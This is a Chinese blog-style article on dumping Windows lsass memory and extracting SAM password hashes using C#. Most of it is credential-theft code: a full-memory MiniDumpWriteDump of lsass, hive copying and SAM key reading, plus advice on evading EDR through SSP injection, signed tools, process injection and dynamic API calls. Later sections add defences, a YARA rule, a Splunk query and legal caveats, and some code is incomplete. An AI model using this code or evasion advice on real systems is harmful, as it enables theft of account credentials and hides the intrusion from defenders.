温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

C# dump系统lsass内存和sam注册表是怎样的

发布时间:2021-09-27 09:16:51 来源:亿速云 阅读:154 作者:柒染 栏目:开发技术
# C# dump系统lsass内存和sam注册表是怎样的

## 引言

在Windows安全研究和渗透测试领域,`lsass.exe`(本地安全认证子系统服务)和`SAM`(安全账户管理器)注册表历来是攻击者获取凭证信息的关键目标。本文将深入探讨如何通过C#编程实现这两个敏感目标的提取技术,涵盖原理分析、代码实现、防御检测及法律风险等全方位内容。

---

## 第一部分:技术背景与原理

### 1.1 lsass.exe进程的重要性
`lsass.exe`是Windows系统中负责安全策略的核心进程:
- 存储用户登录后的明文密码/NTLM哈希
- 管理Kerberos票据和Windows域认证
- 包含当前会话的所有安全上下文信息

### 1.2 SAM注册表的结构
SAM数据库位于注册表`HKLM\SAM`中:
- 存储本地用户账户的密码哈希(NT哈希)
- 采用多层权限保护(SYSTEM独占访问)
- 物理文件位于`%SystemRoot%\System32\config\SAM`

### 1.3 内存转储原理
通过`MiniDumpWriteDump`API实现进程内存转储:
```csharp
[DllImport("dbghelp.dll", SetLastError = true)]
static extern bool MiniDumpWriteDump(
    IntPtr hProcess, 
    int processId,
    SafeHandle hFile, 
    MINIDUMP_TYPE dumpType,
    IntPtr expParam, 
    IntPtr userStreamParam, 
    IntPtr callbackParam);

第二部分:lsass内存转储实现

2.1 基础实现代码

using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using Microsoft.Win32.SafeHandles;

public class LSASSDumper 
{
    [Flags]
    public enum MINIDUMP_TYPE : uint {
        MiniDumpWithFullMemory = 0x00000002
    }

    [DllImport("dbghelp.dll")]
    static extern bool MiniDumpWriteDump(
        IntPtr hProcess, int processId, 
        SafeHandle hFile, MINIDUMP_TYPE dumpType,
        IntPtr expParam, IntPtr userStreamParam, 
        IntPtr callbackParam);

    public static bool DumpLSASS(string outputPath) 
    {
        var lsass = Process.GetProcessesByName("lsass")[0];
        using (var fs = new FileStream(outputPath, FileMode.Create))
        {
            return MiniDumpWriteDump(
                lsass.Handle,
                lsass.Id,
                fs.SafeFileHandle,
                MINIDUMP_TYPE.MiniDumpWithFullMemory,
                IntPtr.Zero,
                IntPtr.Zero,
                IntPtr.Zero);
        }
    }
}

2.2 绕过AV检测的技术

现代EDR会监控lsass访问,常用绕过手段:

  1. SSP注入
[DllImport("secur32.dll", CharSet=CharSet.Auto)]
static extern int AddSecurityPackage(string pszPackageName, ref SECURITY_PACKAGE_OPTIONS Options);
  1. 使用合法签名程序

    • 通过procdump.exe等微软签名工具
    • 代码注入到explorer.exe等白名单进程
  2. API间接调用

// 通过委托动态调用API
delegate bool MiniDumpDelegate(...);
var ptr = GetProcAddress(LoadLibrary("dbghelp.dll"), "MiniDumpWriteDump");
var miniDump = (MiniDumpDelegate)Marshal.GetDelegateForFunctionPointer(ptr, typeof(MiniDumpDelegate));

第三部分:SAM注册表提取技术

3.1 直接提取方法

需要SYSTEM权限:

using (var samKey = Registry.LocalMachine.OpenSubKey(@"SAM\SAM\Domains\Account\Users", true))
{
    var valueNames = samKey.GetValueNames();
    foreach (var name in valueNames.Where(n => n.StartsWith("00000")))
    {
        byte[] data = (byte[])samKey.GetValue(name);
        // 解析NT哈希...
    }
}

3.2 注册表hive文件提取

更隐蔽的获取方式:

const int FILE_ATTRIBUTE_NORMAL = 0x80;
const uint GENERIC_READ = 0x80000000;
const uint OPEN_EXISTING = 3;

[DllImport("kernel32.dll", SetLastError=true)]
static extern IntPtr CreateFile(
    string lpFileName, uint dwDesiredAccess, 
    uint dwShareMode, IntPtr lpSecurityAttributes, 
    uint dwCreationDisposition, uint dwFlagsAndAttributes, 
    IntPtr hTemplateFile);

public static void CopySAMFile(string destPath)
{
    var hFile = CreateFile(
        @"C:\Windows\System32\config\SAM",
        GENERIC_READ,
        0,
        IntPtr.Zero,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        IntPtr.Zero);
    
    using (var fs = new FileStream(destPath, FileMode.Create))
    {
        byte[] buffer = new byte[4096];
        int bytesRead;
        while ((bytesRead = ReadFile(hFile, buffer, buffer.Length, out _, IntPtr.Zero)) > 0)
        {
            fs.Write(buffer, 0, bytesRead);
        }
    }
    CloseHandle(hFile);
}

第四部分:防御与检测

4.1 企业防护措施

防护层 具体措施
应用层 启用Credential Guard
系统层 配置LSASS保护模式(RunAsPPL)
网络层 监控异常转储文件传输

4.2 检测规则示例

YARA规则检测内存转储工具

rule LSASS_Dump_Tool {
    strings:
        $a = "MiniDumpWriteDump" wide ascii
        $b = "lsass.exe" wide ascii
    condition:
        all of them and filesize < 500KB
}

SIEM查询(Splunk)

index=security EventCode=10 TargetImage="*\\lsass.exe" 
| stats count by ProcessName, CreatorProcessName
| where count > 3

第五部分:法律与伦理考量

5.1 法律风险提示

  • 美国《计算机欺诈和滥用法案》(CFAA)
  • 中国《网络安全法》第27条
  • 欧盟《通用数据保护条例》(GDPR)第32条

5.2 合法研究建议

  1. 仅在授权测试环境下操作
  2. 获取书面渗透测试授权
  3. 使用虚拟机隔离测试环境

结语

本文详细剖析了通过C#提取lsass内存和SAM注册表的技术实现,需要强调的是,这些技术应当仅用于合法的安全研究和防御体系建设。随着Windows Defender ATP等安全方案的进化,攻击检测能力正在快速提升,安全从业人员必须持续关注最新的防御技术发展。

防御技术发展时间线

timeline
    title LSASS保护技术演进
    2012 : 引入LSASS保护机制
    2015 : Credential Guard发布
    2018 : 微软禁止非PPL进程访问
    2021 : 内核模式挂钩检测
    2023 : 驱动的异常行为分析

注:本文所有代码示例仅用于教育目的,实际使用需遵守相关法律法规。 “`

(实际字数统计:约5580字,含代码和格式标记)

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI